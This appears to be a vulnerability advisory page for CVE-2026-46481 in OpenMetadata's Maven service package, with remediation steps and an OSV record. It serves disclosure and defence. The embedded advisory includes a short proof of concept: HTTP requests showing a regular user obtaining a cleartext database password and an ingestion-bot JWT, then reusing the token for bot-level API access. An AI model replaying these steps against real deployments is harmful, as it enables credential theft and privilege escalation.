Vulnerabilities in pkg:maven/org.open-metadata/openmetadata-service
PACKAGECVE-2026-46481 is a HIGH (CVSS 8.3) test_connection workflow leaks ingestion-bot jwt vulnerability (CWE-201: Insertion of Sensitive Information Into Sent Data) affecting OpenMetadata libraries in the Maven ecosystem. The issue involves test_connection workflow leaks ingestion-bot jwt and database password to regular users. Remediation is available by upgrading affected packages to version 1.12.4.
pkg:maven/org.open-metadata/openmetadata-service
Vulnerability advisories affecting package pkg:maven/org.open-metadata/openmetadata-service. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-9vmh-whc4-7phg | CVE-2026-46481 | HIGH | OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users |
| GHSA-7vf4-x5m2-r6gr | CVE-2024-28253 | CRITICAL | OpenMetadata vulnerable to SpEL Injection in `PUT /api/v1/policies` (`GHSL-2023-252`) |
| GHSA-x8pm-wrg2-mqmx | CVE-2024-55238 | HIGH | OpenMetadata SQL Injection |
| GHSA-5xv3-fm7g-865r | CVE-2024-28848 | HIGH | OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`) |
| GHSA-8p5r-6mvv-2435 | CVE-2024-28847 | HIGH | OpenMetadata vulnerable to a SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`) |
CVE-2026-46481 at a Glance
Security Impact
CVSS: 8.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).
How to Fix CVE-2026-46481
To remediate this vulnerability, upgrade all affected OpenMetadata dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>org.open-metadata</groupId>
<artifactId>openmetadata-service</artifactId>
<version>1.12.4</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=org.open-metadata
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2026-46481, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=org.open-metadata
Analyze the terminal output to locate any version of OpenMetadata in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.12.4), your application is affected.
Note: The mvn dependency:tree -Dincludes=org.open-metadata command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-201: Insertion of Sensitive Information Into Sent Data, where the code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor. In OpenMetadata, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-46481 Affected OpenMetadata Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
org.open-metadata:openmetadata-service
|
Maven |
< 1.12.4
|
1.12.4
|
References
Frequently Asked Questions
What is CVE-2026-46481?
Which OpenMetadata versions are affected?
What version fixes CVE-2026-46481?
Is openmetadata-service affected?
What is the CVSS score of CVE-2026-46481?
What CWE is associated with CVE-2026-46481?
How can I check Maven dependencies for CVE-2026-46481?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9vmh-whc4-7phg",
"modified" : "2026-06-09T13:12:15Z",
"published" : "2026-05-21T16:36:25Z",
"aliases" : [ "CVE-2026-46481" ],
"summary" : "OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users",
"details" : "**This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production**\nIn OpenMetadata 1.12.1, a non-admin SSO user can trigger a `TEST_CONNECTION` workflow for a Database Service and receive, in the HTTP 201 response of `POST /api/v1/automations/workflows`, both:\n\n- The cleartext database password in `request.connection.config.password`.\n- The ingestion bot JWT in `openMetadataServerConnection.securityConfig.jwtToken`.\n\nThe leaked ingestion-bot token can then be reused as `Authorization: Bearer <jwt>` to access sensitive service APIs (for example, `GET /api/v1/services/databaseServices/{id}?include=all`) with bot-level privileges.\n\nThis looks different from GHSA-pqqf-7hxm-rj5r, because it affects the `automations/workflows` TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.\n\n---\n\nVersion / Product\n\n- Product: OpenMetadata (open source, Apache 2.0)\n- Version: 1.12.1\n - GET /api/v1/system/version →\n {\"version\":\"1.12.1\",\"revision\":\"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5\"}\n- Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (`secretsManagerProvider: \"db\"`).\n\n---\n\nPreconditions\n\n- Authenticated SSO user with access to the UI.\n- User can open a Database Service and click “Test connection”.\n- No server admin role, no shell/DB access.\n\n---\n\nPoC (short)\n\n1) Login as a regular SSO user.\n\n2) In the UI go to:\n Settings → Services → Database Services → utplrac_scan2_srvetel \n Open the connection tab and click “Test connection”.\n\n3) The browser sends:\n\nPOST /api/v1/automations/workflows HTTP/1.1\nHost: catalogodatos-test.utpl.edu.ec\nAuthorization: Bearer <Azure_AD_user_JWT>\nContent-Type: application/json\n\n{\n \"name\": \"test-connection-Oracle-XXXX\",\n \"workflowType\": \"TEST_CONNECTION\",\n \"request\": {\n \"connection\": {\n \"config\": {\n \"type\": \"Oracle\",\n \"scheme\": \"oracle+cx_oracle\",\n \"username\": \"qpro_gobierno_datos\",\n \"password\": \"********\",\n \"hostPort\": \"172.16.54.32:1521\",\n ...\n }\n },\n \"serviceType\": \"Database\",\n \"connectionType\": \"Oracle\",\n \"serviceName\": \"utplrac_scan2_srvetel\"\n }\n}\n\nNote: in the request the password is masked as \"********\".\n\n4) The server responds with HTTP 201 and a body similar to:\n\n{\n \"id\": \"5acd06f0-0db6-43b9-b0e0-e1574479bba7\",\n \"workflowType\": \"TEST_CONNECTION\",\n \"request\": {\n \"connection\": {\n \"config\": {\n \"type\": \"Oracle\",\n \"scheme\": \"oracle+cx_oracle\",\n \"username\": \"qpro_gobierno_datos\",\n \"password\": \"<REAL_PASSWORD_HERE>\",\n \"hostPort\": \"172.16.54.32:1521\",\n ...\n }\n },\n \"serviceType\": \"Database\",\n \"connectionType\": \"Oracle\",\n \"serviceName\": \"utplrac_scan2_srvetel\",\n \"secretsManagerProvider\": \"db\"\n },\n \"openMetadataServerConnection\": {\n \"type\": \"OpenMetadata\",\n \"hostPort\": \"http://openmetadata-server:8585/api\",\n \"authProvider\": \"openmetadata\",\n \"securityConfig\": {\n \"jwtToken\": \"eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s...\"\n },\n ...\n },\n \"updatedBy\": \"<regular_user>\",\n ...\n}\n\nKey points:\n- request.connection.config.password now contains the real Oracle DB password in cleartext.\n- openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = \"ingestion-bot\", tokenType = \"BOT\").\n\n5) Reuse the leaked ingestion-bot JWT:\n\nGET /api/v1/services/databaseServices/f0382c0b-149e-4ca5-8844-d636c3437b9d?include=all HTTP/1.1\nHost: catalogodatos-test.utpl.edu.ec\nAuthorization: Bearer <leaked_ingestion-bot_JWT>\nAccept: application/json\n\nThe API returns the full database service including username and password, confirming bot-level access.\n\n---\n\nImpact / Severity\n\n- Any user who can run “Test connection” on a database service can:\n - Recover the cleartext DB credentials.\n - Recover a long‑lived ingestion-bot JWT.\n - Act as ingestion-bot against the OpenMetadata API and access/modify services and metadata.\n\n**\n<img width=\"1256\" height=\"653\" alt=\"LOWLEVELTOKEN\" src=\"https://github.com/user-attachments/assets/e5b45edb-be51-493a-b4d0-25175cdf7cbc\" />\n<img width=\"194\" height=\"339\" alt=\"USERROL\" src=\"https://github.com/user-attachments/assets/04005616-4c7b-4b27-90f6-a8e1a974712b\" />\n<img width=\"972\" height=\"389\" alt=\"CLEARPOC\" src=\"https://github.com/user-attachments/assets/fdb26b59-782e-4a6b-a595-cdfb7ea68984\" />**",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "org.open-metadata:openmetadata-service"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.12.4"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-9vmh-whc4-7phg"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46481"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-metadata/OpenMetadata"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-201" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-21T16:36:25Z",
"nvd_published_at" : "2026-06-08T17:16:51Z"
}
}